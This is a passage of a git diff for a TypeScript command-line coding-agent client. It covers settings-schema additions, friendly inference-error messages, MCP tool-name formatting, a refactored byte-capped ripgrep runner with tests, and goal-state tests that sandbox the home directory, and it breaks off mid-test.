"[string]": type({ "enabled?": "boolean", "consented?": "boolean", "credentials?": type({ "[string]": "string" }) }) }), "pluginPaths?": "string[]", + "hooks?": type({ "[string]": type({ enabled: "boolean" }) }), "discoverClaudePlugins?": "boolean", "web?": "string", "hiddenCommands?": "string[]", @@ -479,6 +490,7 @@ const SettingsSchema = type({ }), "recentModels?": ModelRefSchema.array(), "favoriteModels?": ModelRefSchema.array(), + "showPromptCost?": "boolean", }); // Per-entry MCP shape without the name key. The "exactly one transport" rule is @@ -626,6 +638,7 @@ export const GLOBAL_SETTINGS_OPTIONAL_KEYS = [ "workflowProfiles", "plugins", "pluginPaths", + "hooks", "discoverClaudePlugins", "web", "hiddenCommands", @@ -729,6 +742,7 @@ export async function loadSettings(path: string): Promise { workflowProfiles: s.workflowProfiles as Settings["workflowProfiles"] | undefined, plugins: s.plugins as Settings["plugins"] | undefined, pluginPaths: s.pluginPaths as string[] | undefined, + hooks: s.hooks as Settings["hooks"] | undefined, discoverClaudePlugins: s.discoverClaudePlugins === true ? true : undefined, web: s.web as string | undefined, hiddenCommands: s.hiddenCommands as string[] | undefined, @@ -759,6 +773,7 @@ export async function loadSettings(path: string): Promise { otel: s.otel as Settings["otel"] | undefined, recentModels: s.recentModels as Settings["recentModels"] | undefined, favoriteModels: s.favoriteModels as Settings["favoriteModels"] | undefined, + showPromptCost: s.showPromptCost !== undefined ? Boolean(s.showPromptCost) : undefined, }; const settings: Settings = { providers: s.providers as Settings["providers"], diff --git a/src/cost/cost-summary.ts b/src/cost/cost-summary.ts index 62e227e05..20da355ae 100644 --- a/src/cost/cost-summary.ts +++ b/src/cost/cost-summary.ts @@ -1,5 +1,5 @@ // Pure formatting layer over the cost/token counters already tracked in -// use-stream.ts. Kept free of Ink/React so the status bar segments and the +// the stream layer. Kept free of renderer deps so the status bar segments and the // /cost command output can be unit tested without rendering anything. import { contextWindowFor } from "../provider/context-window.js"; diff --git a/src/index.ts b/src/index.ts index e32f83a57..378cc1c0c 100644 --- a/src/index.ts +++ b/src/index.ts @@ -101,6 +101,18 @@ export async function main(argv: readonly string[]): Promise { } if (import.meta.main) { - const code = await main(process.argv.slice(2)); + // OpenTUI installs a process-global uncaughtException handler that only + // logs, which suppresses Bun's default print-and-exit. Combined with + // raw-mode stdin holding the event loop open, an escaped throw would + // otherwise hang the process forever with the terminal still in the + // alternate screen. Exiting explicitly here is the backstop for throws that + // originate outside runTUI's own crash path. + let code: number; + try { + code = await main(process.argv.slice(2)); + } catch (err: unknown) { + process.stderr.write(`${err instanceof Error ? (err.stack ?? err.message) : String(err)}\n`); + code = 1; + } process.exit(code); } diff --git a/src/inference-error-message.ts b/src/inference-error-message.ts new file mode 100644 index 000000000..7ab733f44 --- /dev/null +++ b/src/inference-error-message.ts @@ -0,0 +1,56 @@ +/** + * Transcript-facing text for a classified inference failure. + * + * The raw provider body behind a failed call is a JSON blob with a stack of + * gateway framing around it; what the operator needs is one line saying what + * happened and whether they can do anything about it. + */ + +import { + gatewayOverloadUserMessage, + isGatewayOverloadInferenceError, + type InferenceErrorLike, +} from "./inference-gateway-error.js"; + +const FRIENDLY_BY_CATEGORY: Record = { + // Re-authentication runs on its own; keep the transcript line short and free + // of the provider's raw 401 JSON. + credential_failure: "Session expired — re-authenticating…", + quota_exhausted: "Quota exhausted — usage limit reached.", + context_overflow: "Context window full — compaction could not keep up. Try /clear to start fresh.", + retryable: "Request failed — will retry.", + aborted: "Request aborted.", + timeout: "Request timed out.", + protocol_mismatch: "Unexpected response from inference API.", +}; + +/** + * Provider-agnostic detection of context-window-overflow error text. The + * upstream classifier only tags a 400 with specific English phrases as + * context_overflow; providers that return a 429 or a differently-worded body + * (e.g. z.ai) slip through mislabeled, so the message is re-checked here. + */ +export function looksLikeContextOverflow(message: string): boolean { + const lower = message.toLowerCase(); + return ( + lower.includes("context_length_exceeded") || + lower.includes("context length") || + lower.includes("context window") || + lower.includes("maximum context") || + lower.includes("too many tokens") || + lower.includes("input is too long") || + lower.includes("exceeds the maximum") || + lower.includes("reduce the length") + ); +} + +/** Category the error should be treated as, trusting message text over a mislabel. */ +export function classifyInferenceErrorCategory(error: InferenceErrorLike): string { + return looksLikeContextOverflow(error.message ?? "") ? "context_overflow" : error.category; +} + +/** One line describing the failure, falling back to the provider's own message. */ +export function inferenceErrorMessage(error: InferenceErrorLike): string { + if (isGatewayOverloadInferenceError(error)) return gatewayOverloadUserMessage(error); + return FRIENDLY_BY_CATEGORY[classifyInferenceErrorCategory(error)] ?? error.message ?? "inference error"; +} diff --git a/src/mcp/tool-name.ts b/src/mcp/tool-name.ts index 37b1ff074..dc5e8af92 100644 --- a/src/mcp/tool-name.ts +++ b/src/mcp/tool-name.ts @@ -24,13 +24,27 @@ function titleCase(word: string): string { return word.length === 0 ? word : word[0]!.toUpperCase() + word.slice(1); } -// "mcp__linear__list_projects" -> "Linear: list projects". Falls back to the raw +// Some servers suffix (or prefix) every tool name with their own name, a +// pre-namespacing convention (Exa's "web_search_exa") that now just repeats +// the server prefix we already show it under. Strips a leading/trailing word +// that matches the server, case-insensitively, so it is not said twice. +export function mcpToolWords(server: string, tool: string): string[] { + const words = tool.split("_").filter((word) => word.length > 0); + if (words.length > 1 && words[words.length - 1]!.toLowerCase() === server.toLowerCase()) { + words.pop(); + } else if (words.length > 1 && words[0]!.toLowerCase() === server.toLowerCase()) { + words.shift(); + } + return words; +} + +// "mcp__linear__list_projects" -> "Linear: List Projects". Falls back to the raw // name only if it does not match the MCP shape (callers guard with isMcpToolName). export function humanizeMcpTool(name: string): string { const parsed = parseMcpToolName(name); if (parsed === null) return name; const server = titleCase(parsed.server); - const tool = parsed.tool.replace(/_/g, " "); + const tool = mcpToolWords(parsed.server, parsed.tool).map(titleCase).join(" "); return `${server}: ${tool}`; } diff --git a/src/perf/assert-spans.test.ts b/src/perf/assert-spans.test.ts index 1ca284142..0d67a3a12 100644 --- a/src/perf/assert-spans.test.ts +++ b/src/perf/assert-spans.test.ts @@ -16,7 +16,7 @@ * - full observer pipeline → snapshot → rollup → assertions */ -import { afterEach, describe, expect, test } from "bun:test"; +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import type { ReactorEmittedEvent } from "@intx/inference"; import { assertLessThan, @@ -33,6 +33,12 @@ import { ALLOWED_TAG_KEYS, clear, snapshot, type PerfSpan } from "./index.js"; import { createPerfReactorObserver } from "./reactor-spans.js"; import { rollupByPhase, rollupByTurn, type TurnSummary } from "./rollup.js"; +// The span store is process-wide, so a perf test cannot assume the tests that +// ran before it in this process left it empty. Reset on both edges. +beforeEach(() => { + clear(); +}); + afterEach(() => { clear(); }); diff --git a/src/perf/index.test.ts b/src/perf/index.test.ts index 7a688f75c..a938516ed 100644 --- a/src/perf/index.test.ts +++ b/src/perf/index.test.ts @@ -1,4 +1,4 @@ -import { afterEach, describe, expect, test } from "bun:test"; +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import { OPEN_SPAN_CAPACITY, RING_CAPACITY, @@ -11,6 +11,12 @@ import { type PerfSpan, } from "./index.js"; +// The span store is process-wide, so a perf test cannot assume the tests that +// ran before it in this process left it empty. Reset on both edges. +beforeEach(() => { + clear(); +}); + afterEach(() => { clear(); }); diff --git a/src/perf/otel-sink.test.ts b/src/perf/otel-sink.test.ts index cb315cd9b..1aefedf1e 100644 --- a/src/perf/otel-sink.test.ts +++ b/src/perf/otel-sink.test.ts @@ -1,4 +1,4 @@ -import { afterEach, describe, expect, test } from "bun:test"; +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import type { Settings } from "../config/settings.js"; import { clear, end, snapshot, start, type PerfSpan } from "./index.js"; @@ -13,6 +13,12 @@ import { } from "./otel-sink.js"; import type { EnabledOtelExportConfig } from "./otel-config.js"; +// The span store is process-wide, so a perf test cannot assume the tests that +// ran before it in this process left it empty. Reset on both edges. +beforeEach(() => { + clear(); +}); + afterEach(() => { clear(); }); diff --git a/src/perf/permission-subagent-spans.test.ts b/src/perf/permission-subagent-spans.test.ts index 1bd888f36..760ea62a9 100644 --- a/src/perf/permission-subagent-spans.test.ts +++ b/src/perf/permission-subagent-spans.test.ts @@ -1,13 +1,19 @@ /** * CL-5170: permission.wait and subagent spans at the ask gate and task fleet. */ -import { afterEach, describe, expect, test } from "bun:test"; +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import type { ReactorEmittedEvent } from "@intx/inference"; import { createPermissionGate } from "../permission/gate.js"; import { createTaskTool } from "../subagent/task-tool.js"; import { clear, snapshot, type PerfSpan } from "./index.js"; import { createPerfReactorObserver, currentTurnId } from "./reactor-spans.js"; +// The span store is process-wide, so a perf test cannot assume the tests that +// ran before it in this process left it empty. Reset on both edges. +beforeEach(() => { + clear(); +}); + afterEach(() => { clear(); }); diff --git a/src/perf/reactor-spans.test.ts b/src/perf/reactor-spans.test.ts index 1b1a980f0..d9c3689c9 100644 --- a/src/perf/reactor-spans.test.ts +++ b/src/perf/reactor-spans.test.ts @@ -1,9 +1,15 @@ -import { afterEach, describe, expect, test } from "bun:test"; +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import type { ReactorEmittedEvent } from "@intx/inference"; import { clear, snapshot, type PerfSpan } from "./index.js"; import { createPerfReactorObserver } from "./reactor-spans.js"; import { createTurnContextCollector } from "../session/hooks.js"; +// The span store is process-wide, so a perf test cannot assume the tests that +// ran before it in this process left it empty. Reset on both edges. +beforeEach(() => { + clear(); +}); + afterEach(() => { clear(); }); diff --git a/src/perf/rollup.test.ts b/src/perf/rollup.test.ts index a1c5a2adf..8701f13d4 100644 --- a/src/perf/rollup.test.ts +++ b/src/perf/rollup.test.ts @@ -1,4 +1,4 @@ -import { afterEach, describe, expect, test } from "bun:test"; +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import { mkdtemp, readFile, rm } from "node:fs/promises"; import { tmpdir } from "node:os"; import { join } from "node:path"; @@ -26,6 +26,12 @@ import { spanDurationNs, } from "./rollup.js"; +// The span store is process-wide, so a perf test cannot assume the tests that +// ran before it in this process left it empty. Reset on both edges. +beforeEach(() => { + clear(); +}); + afterEach(() => { clear(); }); diff --git a/src/permission/permission.test.ts b/src/permission/permission.test.ts index ee38a25d9..22b03dd0a 100644 --- a/src/permission/permission.test.ts +++ b/src/permission/permission.test.ts @@ -451,8 +451,8 @@ describe("buildRequests", () => { expect(reqs).toHaveLength(1); const req = reqs[0]!; expect(req.action).not.toContain("mcp__"); - expect(req.scopes[0]?.label).toBe("Always allow Acme: list projects"); - expect(req.scopes[0]?.hint).toBe("Acme: list projects"); + expect(req.scopes[0]?.label).toBe("Always allow Acme: List Projects"); + expect(req.scopes[0]?.hint).toBe("Acme: List Projects"); // The raw identifier stays as the subject/pattern so approval matching is unaffected. expect(req.subject).toBe("mcp__acme__list_projects"); expect(req.scopes[0]?.pattern).toBe("mcp__acme__list_projects"); diff --git a/src/plugins/admin.ts b/src/plugins/admin.ts new file mode 100644 index 000000000..0f4e465a0 --- /dev/null +++ b/src/plugins/admin.ts @@ -0,0 +1,37 @@ +import type { PluginConfig } from "../config/settings.js"; +import type { PluginCredentialField, PluginKind } from "./manifest.js"; + +export type PluginDescriptor = { + id: string; + name: string; + kind?: PluginKind; + description?: string; + credentials: PluginCredentialField[]; + // For kind:"agent" plugins — the profiles contributed, shown so the user can + // see which sub-agents and tiers a plugin provides before enabling it. + agentProfiles?: { id: string; tier?: string; description?: string }[]; + /** + * True when discovery found the plugin but code is not imported yet (project + * or path origin still untrusted). Enabling records trust and full-loads. + */ + needsTrust?: boolean; + /** True for a trusted path-origin plugin, whose global grant can be withdrawn. */ + canRevokeTrust?: boolean; +}; + +export type VerifyResult = { ok: boolean; message: string }; +export type AddPathResult = { ok: boolean; message: string; id?: string }; + +export type PluginsAdmin = { + list: () => PluginDescriptor[]; + getConfig: () => Record; + getWebOverride: () => string | undefined; + saveConfig: (id: string, cfg: PluginConfig) => Promise | void; + setWebOverride: (id: string | undefined) => Promise | void; + verify: (id: string, credentials: Record) => Promise; + // Register a plugin from an arbitrary file/dir path, persisting it so it loads + // on future startups. Returns the new plugin id on success. + addPath: (path: string) => Promise; + // Withdraw the global trust grant for a path-origin plugin and disable it. + revokeTrust: (id: string) => Promise; +}; diff --git a/src/plugins/rg-output.test.ts b/src/plugins/rg-output.test.ts new file mode 100644 index 000000000..ddfb472a6 --- /dev/null +++ b/src/plugins/rg-output.test.ts @@ -0,0 +1,72 @@ +import { test, expect } from "bun:test"; + +import { createRgCollector } from "./rg-output.js"; + +const line = "big.txt:1:match line here\n"; + +test("the cap fires on the chunk that breaches it", () => { + const collector = createRgCollector(200); + expect(collector.push(line.repeat(4))).toBeUndefined(); + expect(collector.push(line.repeat(20))).toMatchObject({ + kind: "partial", + notice: expect.stringContaining("exceeded 200 bytes"), + }); +}); + +test("an over-cap run reports no more than the cap, cut at a line boundary", () => { + const outcome = createRgCollector(200).push(line.repeat(400)); + if (outcome?.kind !== "partial") throw new Error("expected partial"); + expect(outcome.stdout.length).toBeLessThanOrEqual(200); + expect(outcome.stdout).toContain("match line here"); + expect(outcome.stdout.endsWith("here")).toBe(true); +}); + +test("a cap breach outranks the exit code at every settle point", () => { + const overCap = (): string[] => [line.repeat(20)]; + for (const settle of [ + (chunks: string[]) => { + const c = createRgCollector(200); + chunks.forEach((chunk) => c.push(chunk)); + return c.close(0, ""); + }, + (chunks: string[]) => { + const c = createRgCollector(200); + chunks.forEach((chunk) => c.push(chunk)); + return c.timeout(5); + }, + ]) { + // The cap has already settled the run, so no later path can widen it. + expect(settle(overCap())).toBeUndefined(); + } +}); + +test("the timeout yields whatever was collected under the cap", () => { + const collector = createRgCollector(2_000); + collector.push(line); + expect(collector.timeout(1)).toMatchObject({ + kind: "partial", + stdout: line, + notice: expect.stringContaining("timed out after 1ms"), + }); +}); + +test("only the first settle wins", () => { + const collector = createRgCollector(2_000); + collector.push(line); + expect(collector.close(0, "")).toMatchObject({ kind: "output", stdout: line }); + expect(collector.close(0, "")).toBeUndefined(); + expect(collector.timeout(1)).toBeUndefined(); + expect(collector.push(line.repeat(400))).toBeUndefined(); +}); + +test("exit codes map to no-match and error", () => { + expect(createRgCollector(200).close(1, "")).toMatchObject({ kind: "no-match" }); + expect(createRgCollector(200).close(2, "bad pattern")).toMatchObject({ + kind: "error", + message: "bad pattern", + }); + expect(createRgCollector(200).close(2, "")).toMatchObject({ + kind: "error", + message: "ripgrep exited with code 2", + }); +}); diff --git a/src/plugins/rg-output.ts b/src/plugins/rg-output.ts new file mode 100644 index 000000000..1e3193009 --- /dev/null +++ b/src/plugins/rg-output.ts @@ -0,0 +1,73 @@ +// Collects a ripgrep run's stdout and decides its outcome. `data`, `close` and +// the timeout fire in a platform-dependent order, so the decision lives here +// rather than in the handlers: the collector owns the accumulated bytes and +// settles exactly once, whichever handler gets there first. The cap is applied +// to those bytes as they arrive, so an over-cap run can never be reported as a +// complete success and can never hand back more than the cap. + +export type RgOutcome = + | { kind: "output"; stdout: string } + | { kind: "no-match" } + | { kind: "error"; message: string } + | { kind: "partial"; stdout: string; notice: string }; + +export type RgCollector = { + /** Returns an outcome once the cap is breached, otherwise undefined. */ + push: (chunk: string) => RgOutcome | undefined; + close: (code: number | null, stderr: string) => RgOutcome | undefined; + timeout: (timeoutMs: number) => RgOutcome | undefined; +}; + +// Cutting at the cap can land mid-line; drop the trailing fragment so callers +// never see a half-formed match. +function truncateToWholeLines(text: string, maxBytes: number): string { + if (text.length <= maxBytes) return text; + const clipped = text.slice(0, maxBytes); + const lastBreak = clipped.lastIndexOf("\n"); + return lastBreak === -1 ? clipped : clipped.slice(0, lastBreak); +} + +export function createRgCollector(maxOutputBytes: number): RgCollector { + let stdout = ""; + let settled = false; + + const settle = (outcome: RgOutcome): RgOutcome | undefined => { + if (settled) return undefined; + settled = true; + return outcome; + }; + + const overCap = (): RgOutcome | undefined => { + if (stdout.length <= maxOutputBytes) return undefined; + return settle({ + kind: "partial", + stdout: truncateToWholeLines(stdout, maxOutputBytes), + notice: `search output exceeded ${maxOutputBytes} bytes — showing partial results; narrow path/glob or pattern`, + }); + }; + + return { + push: (chunk) => { + if (settled) return undefined; + stdout += chunk; + return overCap(); + }, + close: (code, stderr) => { + if (settled) return undefined; + if (code === 0) return settle({ kind: "output", stdout }); + if (code === 1) return settle({ kind: "no-match" }); + return settle({ + kind: "error", + message: stderr.trim() || `ripgrep exited with code ${code}`, + }); + }, + timeout: (timeoutMs) => { + if (settled) return undefined; + return settle({ + kind: "partial", + stdout, + notice: `ripgrep timed out after ${timeoutMs}ms — showing partial results; narrow path/glob`, + }); + }, + }; +} diff --git a/src/plugins/rg-run.test.ts b/src/plugins/rg-run.test.ts new file mode 100644 index 000000000..dd7bd4f87 --- /dev/null +++ b/src/plugins/rg-run.test.ts @@ -0,0 +1,74 @@ +import { test, expect } from "bun:test"; + +import { runRg, type RgChild, type SpawnRg } from "./rg-run.js"; + +const line = "big.txt:1:match line here\n"; + +type Script = { + stdout: string[]; + code: number | null; +}; + +// A child whose event order is dictated by the test rather than by how the +// platform happens to schedule pipe reads. +function scriptedSpawn(script: Script): SpawnRg { + return () => { + let onData: ((chunk: unknown) => void) | undefined; + let onClose: ((code: number | null) => void) | undefined; + const child: RgChild = { + pid: undefined, + stdout: { + on: (_event, listener) => { + onData = listener; + }, + }, + stderr: { on: () => undefined }, + on: ((event: string, listener: (arg: never) => void) => { + if (event === "close") onClose = listener as (code: number | null) => void; + }) as RgChild["on"], + kill: () => undefined, + }; + queueMicrotask(() => { + script.stdout.forEach((chunk) => onData?.(chunk)); + onClose?.(script.code); + }); + return child; + }; +} + +function run(script: Script, maxOutputBytes = 200): ReturnType { + return runRg([], ".", new AbortController().signal, { maxOutputBytes }, scriptedSpawn(script)); +} + +test("an over-cap run is capped regardless of how stdout is chunked", async () => { + const bulk = line.repeat(400); + const oneChunk = await run({ stdout: [bulk], code: 0 }); + const manyChunks = await run({ stdout: bulk.match(/.{1,7}/gs) ?? [], code: 0 }); + for (const result of [oneChunk, manyChunks]) { + expect(result.kind).toBe("partial"); + if (result.kind !== "partial") continue; + expect(result.stdout.length).toBeLessThanOrEqual(200); + expect(result.notice).toContain("exceeded 200 bytes"); + } +}); + +test("a run under the cap settles as complete output", async () => { + const result = await run({ stdout: [line, line], code: 0 }); + expect(result).toMatchObject({ kind: "output", stdout: line.repeat(2) }); +}); + +test("exit code 1 is no-match", async () => { + expect(await run({ stdout: [], code: 1 })).toMatchObject({ kind: "no-match" }); +}); + +test("the timeout settles a slow run", async () => { + const stalled: SpawnRg = () => ({ + pid: undefined, + stdout: { on: () => undefined }, + stderr: { on: () => undefined }, + on: (() => undefined) as RgChild["on"], + kill: () => undefined, + }); + const result = await runRg([], ".", new AbortController().signal, { timeoutMs: 1 }, stalled); + expect(result).toMatchObject({ kind: "partial", notice: expect.stringContaining("timed out") }); +}); diff --git a/src/plugins/rg-run.ts b/src/plugins/rg-run.ts new file mode 100644 index 000000000..80c9c6170 --- /dev/null +++ b/src/plugins/rg-run.ts @@ -0,0 +1,92 @@ +import { spawn } from "node:child_process"; + +import { createRgCollector, type RgOutcome } from "./rg-output.js"; + +const RG_TIMEOUT_MS = 10_000; +// Cap collected stdout so a runaway pattern cannot OOM the process before the +// line-cap post-processing runs. +export const MAX_OUTPUT_BYTES = 512_000; + +export type RgResult = RgOutcome | { kind: "unavailable" }; + +export type RgLimits = { + timeoutMs?: number; + maxOutputBytes?: number; +}; + +// The subset of a spawned child this module drives. Taking it as a parameter +// lets the run be exercised with a scripted event order, which is the only way +// to pin down behavior that otherwise depends on how a platform happens to +// deliver pipe data. +export type RgChild = { + pid: number | undefined; + stdout: { on: (event: "data", listener: (chunk: unknown) => void) => unknown }; + stderr: { on: (event: "data", listener: (chunk: unknown) => void) => unknown }; + on: ((event: "error", listener: (err: Error) => void) => unknown) & + ((event: "close", listener: (code: number | null) => void) => unknown); + kill: (signal?: NodeJS.Signals) => unknown; +}; + +export type SpawnRg = (rgArgs: string[], cwd: string, signal: AbortSignal) => RgChild; + +const spawnRg: SpawnRg = (rgArgs, cwd, signal) => + spawn("rg", rgArgs, { + cwd, + signal, + // Process-group leader so a kill reaches any grandchildren. + detached: process.platform !== "win32", + }) as unknown as RgChild; + +export function runRg( + rgArgs: string[], + cwd: string, + signal: AbortSignal, + limits: RgLimits = {}, + spawnChild: SpawnRg = spawnRg, +): Promise { + const timeoutMs = limits.timeoutMs ?? RG_TIMEOUT_MS; + const maxOutputBytes = limits.maxOutputBytes ?? MAX_OUTPUT_BYTES; + return new Promise((resolve) => { + const child = spawnChild(rgArgs, cwd, signal); + const collector = createRgCollector(maxOutputBytes); + let stderr = ""; + let settled = false; + + const killTree = (): void => { + if (child.pid === undefined) return; + try { + if (process.platform === "win32") child.kill("SIGKILL"); + else process.kill(-child.pid, "SIGKILL"); + } catch { + try { + child.kill("SIGKILL"); + } catch { + // already dead + } + } + }; + + // Every path settles here, so whichever of data/close/timeout arrives first + // stops the timer and reaps the child exactly once. + const finish = (result: RgResult | undefined): void => { + if (result === undefined || settled) return; + settled = true; + clearTimeout(timer); + killTree(); + resolve(result); + }; + + const timer = setTimeout(() => finish(collector.timeout(timeoutMs)), timeoutMs); + + child.stdout.on("data", (chunk) => finish(collector.push(String(chunk)))); + child.stderr.on("data", (chunk) => { + stderr += String(chunk); + }); + child.on("error", (err) => { + // ENOENT means rg is not installed: signal a fallback, not an error. + if ((err as NodeJS.ErrnoException).code === "ENOENT") finish({ kind: "unavailable" }); + else finish({ kind: "error", message: err.message }); + }); + child.on("close", (code) => finish(collector.close(code, stderr))); + }); +} diff --git a/src/plugins/ripgrep-plugin.ts b/src/plugins/ripgrep-plugin.ts index 32d75f865..f05e46318 100644 --- a/src/plugins/ripgrep-plugin.ts +++ b/src/plugins/ripgrep-plugin.ts @@ -1,4 +1,3 @@ -import { spawn } from "node:child_process"; import { statSync } from "node:fs"; import { dirname, basename } from "node:path"; import type { ToolPlugin } from "@intx/tools-posix"; @@ -8,6 +7,8 @@ import { runBoundedSearchFiles, type BoundedGrepArgs, } from "./bounded-grep-fallback.js"; +import { createRgCollector } from "./rg-output.js"; +import { MAX_OUTPUT_BYTES, runRg, type RgLimits } from "./rg-run.js"; // A grep over a large tree with the pure-TypeScript walker enumerates the whole // directory (node_modules, build output, the lot) before searching, which stalls @@ -17,103 +18,8 @@ import { // built-in posix tool otherwise, so behavior degrades gracefully on hosts // without ripgrep. -const RG_TIMEOUT_MS = 10_000; const DEFAULT_GREP_MAX = 500; const DEFAULT_SEARCH_MAX = 1000; -// Cap collected stdout so a runaway pattern cannot OOM the process before the -// line-cap post-processing runs. -const MAX_OUTPUT_BYTES = 512_000; - -type RgResult = - | { kind: "output"; stdout: string } - | { kind: "no-match" } - | { kind: "unavailable" } - | { kind: "error"; message: string } - | { kind: "partial"; stdout: string; notice: string }; - -type RgLimits = { - timeoutMs?: number; - maxOutputBytes?: number; -}; - -function runRg( - rgArgs: string[], - cwd: string, - signal: AbortSignal, - limits: RgLimits = {}, -): Promise { - const timeoutMs = limits.timeoutMs ?? RG_TIMEOUT_MS; - const maxOutputBytes = limits.maxOutputBytes ?? MAX_OUTPUT_BYTES; - return new Promise((resolve) => { - const child = spawn("rg", rgArgs, { - cwd, - signal, - // Process-group leader so timeout kills any grandchildren. - detached: process.platform !== "win32", - }); - let stdout = ""; - let stderr = ""; - let settled = false; - const finish = (result: RgResult): void => { - if (settled) return; - settled = true; - resolve(result); - }; - - const killTree = (): void => { - if (child.pid === undefined) return; - try { - if (process.platform === "win32") child.kill("SIGKILL"); - else process.kill(-child.pid, "SIGKILL"); - } catch { - try { - child.kill("SIGKILL"); - } catch { - // already dead - } - } - }; - - const timer = setTimeout(() => { - killTree(); - finish({ - kind: "partial", - stdout, - notice: `ripgrep timed out after ${timeoutMs}ms — showing partial results; narrow path/glob`, - }); - }, timeoutMs); - - child.stdout.on("data", (chunk) => { - if (settled) return; - stdout += String(chunk); - if (stdout.length > maxOutputBytes) { - killTree(); - clearTimeout(timer); - finish({ - kind: "partial", - stdout, - notice: `ripgrep output exceeded ${maxOutputBytes} bytes — showing partial results; narrow path/glob or pattern`, - }); - } - }); - child.stderr.on("data", (chunk) => { - stderr += String(chunk); - }); - child.on("error", (err) => { - clearTimeout(timer); - // ENOENT means rg is not installed: signal a fallback, not an error. - if ((err as NodeJS.ErrnoException).code === "ENOENT") finish({ kind: "unavailable" }); - else finish({ kind: "error", message: err.message }); - }); - child.on("close", (code) => { - clearTimeout(timer); - if (settled) return; - if (code === 0) finish({ kind: "output", stdout }); - else if (code === 1) finish({ kind: "no-match" }); - else finish({ kind: "error", message: stderr.trim() || `ripgrep exited with code ${code}` }); - }); - }); -} function capLines(text: string, max: number): string { const lines = text.split("\n").filter((line) => line.length > 0); @@ -130,6 +36,15 @@ function partialContent(stdout: string, maxResults: number, notice: string): str return `${capped}\n... ${notice}`; } +// The fallback walker collects its whole result in memory before returning, so +// the byte cap has to be applied here. Without this the cap simply does not +// exist on a host without ripgrep, and an unbounded grep reaches the model. +function boundedContent(content: string, maxResults: number, maxOutputBytes: number): string { + const breach = createRgCollector(maxOutputBytes).push(content); + if (breach?.kind !== "partial") return capLines(content, maxResults); + return partialContent(breach.stdout, maxResults, breach.notice); +} + function str(value: unknown): string | undefined { return typeof value === "string" && value.length > 0 ? value : undefined; } @@ -152,6 +67,7 @@ function searchLocation(path: string, fallbackCwd: string): { cwd: string; targe } export function ripgrepPlugin(cwd: string, limits: RgLimits = {}): ToolPlugin { + const maxBytes = limits.maxOutputBytes ?? MAX_OUTPUT_BYTES; return { middleware: (next) => async (call, signal) => { if (call.name === "grep") { @@ -181,7 +97,7 @@ export function ripgrepPlugin(cwd: string, limits: RgLimits = {}): ToolPlugin { }; if (glob !== undefined) boundedArgs.glob = glob; const content = await runBoundedGrep(boundedArgs, signal, rgCwd); - return { callId: call.id, content: capLines(content, maxResults) }; + return { callId: call.id, content: boundedContent(content, maxResults, maxBytes) }; } catch (err) { return { callId: call.id, @@ -217,7 +133,7 @@ export function ripgrepPlugin(cwd: string, limits: RgLimits = {}): ToolPlugin { signal, rgCwd, ); - return { callId: call.id, content: capLines(content, maxResults) }; + return { callId: call.id, content: boundedContent(content, maxResults, maxBytes) }; } catch (err) { return { callId: call.id, diff --git a/src/session/goal-state.test.ts b/src/session/goal-state.test.ts index 4233266d3..ae6c1ece9 100644 --- a/src/session/goal-state.test.ts +++ b/src/session/goal-state.test.ts @@ -2,72 +2,100 @@ import { describe, expect, test } from "bun:test"; import { mkdtemp, rm } from "node:fs/promises"; import { tmpdir } from "node:os"; import { join } from "node:path"; -import { loadGoalState, saveGoalState, writeGoalStateRaw } from "./goal-state.js"; +import { + loadGoalState, + saveGoalState, + writeGoalStateRaw, +} from "./goal-state.js"; +// Session state lands under /.corbits/projects, not under cwd, so every +// case sandboxes the home as well or the run writes into the developer's home. describe("goal state persistence", () => { test("round-trips an active goal and deletes on clear", async () => { const cwd = await mkdtemp(join(tmpdir(), "goal-state-")); + const home = await mkdtemp(join(tmpdir(), "goal-state-home-")); try { - await saveGoalState(cwd, "s1", { - status: "active", - condition: "tests green", - startedAt: 100, - turnBudget: 25, - turnsUsed: 3, - mainTokens: 10, - evalTokens: 2, - lastReason: "still failing", - }); - const loaded = await loadGoalState(cwd, "s1"); + await saveGoalState( + cwd, + "s1", + { + status: "active", + condition: "tests green", + startedAt: 100, + turnBudget: 25, + turnsUsed: 3, + mainTokens: 10, + evalTokens: 2, + lastReason: "still failing", + }, + home, + ); + const loaded = await loadGoalState(cwd, "s1", home); expect(loaded?.condition).toBe("tests green"); expect(loaded?.turnsUsed).toBe(3); - await saveGoalState(cwd, "s1", null); - expect(await loadGoalState(cwd, "s1")).toBeNull(); + await saveGoalState(cwd, "s1", null, home); + expect(await loadGoalState(cwd, "s1", home)).toBeNull(); } finally { await rm(cwd, { recursive: true, force: true }); + await rm(home, { recursive: true, force: true }); } }); test("round-trips brief and criteria", async () => { const cwd = await mkdtemp(join(tmpdir(), "goal-state-")); + const home = await mkdtemp(join(tmpdir(), "goal-state-home-")); try { - await saveGoalState(cwd, "s1", { - status: "active", - condition: "typecheck; tests", - brief: "ship the feature", - criteria: [ - { id: "c1", title: "typecheck clean", status: "done" }, - { id: "c2", title: "tests green", status: "todo", note: "2 failing" }, - ], - startedAt: 100, - turnBudget: 0, - turnsUsed: 3, - mainTokens: 10, - evalTokens: 2, - }); - const loaded = await loadGoalState(cwd, "s1"); + await saveGoalState( + cwd, + "s1", + { + status: "active", + condition: "typecheck; tests", + brief: "ship the feature", + criteria: [ + { id: "c1", title: "typecheck clean", status: "done" }, + { + id: "c2", + title: "tests green", + status: "todo", + note: "2 failing", + }, + ], + startedAt: 100, + turnBudget: 0, + turnsUsed: 3, + mainTokens: 10, + evalTokens: 2, + }, + home, + ); + const loaded = await loadGoalState(cwd, "s1", home); expect(loaded?.brief).toBe("ship the feature"); expect(loaded?.criteria).toHaveLength(2); expect(loaded?.criteria?.[0]?.status).toBe("done"); expect(loaded?.criteria?.[1]?.note).toBe("2 failing"); } finally { await rm(cwd, { recursive: true, force: true }); + await rm(home, { recursive: true, force: true }); } }); test("ignores corrupt JSON", async () => { const cwd = await mkdtemp(join(tmpdir(), "goal-state-")); + const home = await mkdtemp(join(tmpdir(), "goal-state-home-")); try { - await writeGoalStateRaw(cwd, "s1", "{not json"); - expect(await loadGoalState(cwd, "s1")).toBeNull(); + await writeGoalStateRaw(cwd, "s1", "{not json", home); + expect(await loadGoalState(cwd, "s1", home)).toBeNull(); } finally { await rm(cwd, { recursive: true, force: true }); + await rm(home, { recursive: true, force: true }); } }); test("rejects an unknown goal status", async () => { const cwd = await 